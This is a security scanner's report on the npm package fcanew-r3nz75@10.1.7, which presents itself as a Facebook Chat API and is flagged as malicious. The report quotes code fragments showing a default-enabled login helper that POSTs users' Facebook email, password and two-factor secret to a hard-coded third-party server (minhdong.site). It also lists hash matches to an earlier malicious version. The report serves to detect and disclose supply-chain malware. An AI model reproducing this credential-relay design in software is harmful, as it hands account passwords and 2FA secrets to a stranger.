Loading npm security reports…

fcanew-r3nz75@10.1.7: Malicious npm security report (Block) | LPM Firewall

registry / fcanew-r3nz75 / 10.1.7

fcanew-r3nz75@10.1.7

Facebook Chat API - Redefine By renz2451 | r3nz75

AI Security Review

scanned 49m ago · by lpm-firewall-ai

On runtime login recovery, the package sends supplied or configured Facebook credentials and an optional two-factor secret to a hard-coded third-party server. This is a concrete credential-exfiltration path, not required for local package operation.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

A consumer calls the exported login flow with credentials, or configured credentials are used after a session is invalid.

Impact

Third party can receive account passwords and optional two-factor secrets, then return session cookies/tokens.

Mechanism

POSTs Facebook login credentials to a package-selected external API.

Attack narrative

The package exports a login client whose default configuration enables automatic login through minhdong.site. Its API-login helper constructs a request with the caller's email, password, and optional two-factor secret, then POSTs it to that third-party endpoint. Login recovery invokes this path when stored sessions are invalid and configured credentials are available. The returned cookies or token are then used to create a Facebook session.

Rationale

Source confirms a default-selected external receiver for Facebook credentials and optional 2FA data, activated by normal login/recovery behavior. No install hook is needed for this credential-exfiltration chain.

Evidence

package.jsonindex.jsmodule/config.jsmodule/login.jsmodule/loginHelper.jsfunc/checkUpdate.jssrc/remote/remoteClient.jsfca-config.json

Source & flagged code

13 flagged · loading source

e2ee/vendor/fb-e2ee.cjsView file

2964patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"],

High

High Secret

Package contains a high-severity secret pattern.

e2ee/vendor/fb-e2ee.cjsView on unpkg · L2964

2964patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"],

High

Secret Pattern

Google API key in e2ee/vendor/fb-e2ee.cjs

e2ee/vendor/fb-e2ee.cjsView on unpkg · L2964

130copyProps(Buffer3, SafeBuffer); L131: SafeBuffer.from = function(arg, encodingOrOffset, length) { L132: if (typeof arg === "number") { ... L400: * @return {Object} Accepted configuration L401: * @private L402: */ ... L543: this._inflate[kWriteInProgress] = true; L544: this._inflate.write(data); L545: if (fin) this._inflate.write(TRAILER); ... L660: * @param {(String|Buffer|ArrayBuffer|Buffer[])} data The received data L661: * @param {WebSocket} target A reference to the target to which the event was dispatched L662: */

Low

Weak Crypto

Package source references weak cryptographic algorithms.

e2ee/vendor/fb-e2ee.cjsView on unpkg · L130

e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = fcanew-r3nz75@10.1.6 matchedPath = e2ee/index.js matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.6 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

e2ee/index.jsView on unpkg

145try { L146: var dynamicImport = new Function("specifier", "return import(specifier)"); L147: mod = await dynamicImport(_NATIVE_LIB_URL);

Low

Eval

Package source references a known benign dynamic code generation pattern.

e2ee/index.jsView on unpkg · L145

e2ee/protocol.jsView file

14L15: const crypto = require("crypto"); L16: const { hmacSha256, generateKeyPair, randomBytes } = require("./crypto");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

e2ee/protocol.jsView on unpkg · L14

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

module/loginHelper.jsView file

•matchType = normalized_sha256 matchedPackage = fcanew-r3nz75@10.1.6 matchedPath = module/loginHelper.js matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.6 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/loginHelper.jsView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = fcanew-r3nz75@10.1.6 matchedPath = [redacted].js matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.6 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/e2ee/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = fcanew-r3nz75@10.1.6 matchedPath = src/api/socket/e2ee/e2ee/index.js matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.6 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/e2ee/index.jsView on unpkg

src/api/socket/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = fcanew-r3nz75@10.1.6 matchedPath = src/api/socket/e2ee/index.js matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.6 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/index.jsView on unpkg

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView file

2964patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"],

High

Secret Pattern

Google API key in src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjs

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView on unpkg · L2964

src/api/socket/e2ee/vendor/fb-e2ee.cjsView file

2964patternName = google_api_key severity = high line = 2964 matchedText = ["64", "...7"],

High

Secret Pattern

Google API key in src/api/socket/e2ee/vendor/fb-e2ee.cjs

src/api/socket/e2ee/vendor/fb-e2ee.cjsView on unpkg · L2964

Source & flagged code

13 flagged

e2ee/vendor/fb-e2ee.cjsView file

Lines 110-150javascript

110var require_safe_buffer = __commonJS({

111 "node_modules/ws/node_modules/safe-buffer/index.js"(exports2, module2) {

112 "use strict";

113 init_cjs_shims();

114 var buffer = require("buffer");

115 var Buffer3 = buffer.Buffer;

116 function copyProps(src, dst) {

117 for (var key in src) {

118 dst[key] = src[key];

119 }

120 }

121 if (Buffer3.from && Buffer3.alloc && Buffer3.allocUnsafe && Buffer3.allocUnsafeSlow) {

122 module2.exports = buffer;

123 } else {

124 copyProps(buffer, exports2);

125 exports2.Buffer = SafeBuffer;

126 }

127 function SafeBuffer(arg, encodingOrOffset, length) {

128 return Buffer3(arg, encodingOrOffset, length);

129 }

130 copyProps(Buffer3, SafeBuffer);

131 SafeBuffer.from = function(arg, encodingOrOffset, length) {

132 if (typeof arg === "number") {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

e2ee/vendor/fb-e2ee.cjsView on unpkg · L130

133 throw new TypeError("Argument must not be a number");

134 }

135 return Buffer3(arg, encodingOrOffset, length);

136 };

137 SafeBuffer.alloc = function(size, fill, encoding) {

138 if (typeof size !== "number") {

139 throw new TypeError("Argument must be a number");

140 }

141 var buf = Buffer3(size);

142 if (fill !== void 0) {

143 if (typeof encoding === "string") {

144 buf.fill(fill, encoding);

145 } else {

146 buf.fill(fill);

147 }

148 } else {

149 buf.fill(0);

150 }

Lines 2944-2984javascript

2944 "kyc-id",

2945 "privacy_token",

2946 "readreceipts",

2947 "appointment_only",

2948 "address",

2949 "expected_ts",

2950 "privacy",

2951

e2ee/index.jsView file

Lines 125-165javascript

125(function _polyfillFileGlobal() {

126 try {

127 if (typeof globalThis.File === "undefined") {

128 var b = require(

e2ee/protocol.jsView file

Lines 1-34javascript

1"use strict";

2

3/**

4 * Facebook-specific E2EE wire protocol handling.

5 *

6 * Facebook Secret Conversations use Signal Protocol (X3DH + Double Ratchet)

7 * with their own framing on top. This module handles:

8 * - Key bundle upload/download to Facebook's graph endpoint

9 * - Message framing (encode/decode SHADOWX_E2EE frame format)

10 * - Signed pre-key signatures using HMAC-SHA256 (FB uses Ed25519 in practice;

11

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

module/loginHelper.jsView file

•matchType = normalized_sha256 matchedPackage = fcanew-r3nz75@10.1.6 matchedPath = module/loginHelper.js matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.6 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/loginHelper.jsView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = fcanew-r3nz75@10.1.6 matchedPath = [redacted].js matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.6 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/socket/e2ee/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = fcanew-r3nz75@10.1.6 matchedPath = src/api/socket/e2ee/e2ee/index.js matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.6 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/e2ee/index.jsView on unpkg

src/api/socket/e2ee/index.jsView file

•matchType = normalized_sha256 matchedPackage = fcanew-r3nz75@10.1.6 matchedPath = src/api/socket/e2ee/index.js matchedIdentity = npm:ZmNhbmV3LXIzbno3NQ:10.1.6 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/socket/e2ee/index.jsView on unpkg

src/api/socket/e2ee/e2ee/vendor/fb-e2ee.cjsView file

Lines 2944-2984javascript

2944 "kyc-id",

2945 "privacy_token",

2946 "readreceipts",

2947 "appointment_only",

2948 "address",

2949 "expected_ts",

2950

src/api/socket/e2ee/vendor/fb-e2ee.cjsView file

Lines 2944-2984javascript

2944 "kyc-id",

2945 "privacy_token",

2946 "readreceipts",

2947 "appointment_only",

2948 "address",

2949 "expected_ts",

2950